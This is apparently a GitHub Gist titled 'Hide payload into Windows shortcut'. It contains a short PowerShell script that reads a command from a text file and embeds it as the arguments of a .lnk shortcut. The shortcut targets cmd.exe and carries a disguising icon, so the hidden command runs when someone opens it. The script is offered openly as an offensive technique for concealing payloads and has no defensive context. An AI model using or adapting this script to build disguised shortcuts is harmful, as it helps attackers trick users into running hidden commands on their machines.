Created
December 30, 2016 03:10
-
-
Save 3gstudent/90bb4b3bd74c3ee28ec498d08d8ff0d9 to your computer and use it in GitHub Desktop.
Hide payload into Windows shortcut
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$file = Get-Content "c:\test\test.txt" | |
$WshShell = New-Object -comObject WScript.Shell | |
$Shortcut = $WshShell.CreateShortcut("c:\test\test.lnk") | |
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe" | |
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" | |
$Shortcut.Arguments = ' '+ $file | |
$Shortcut.Save() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment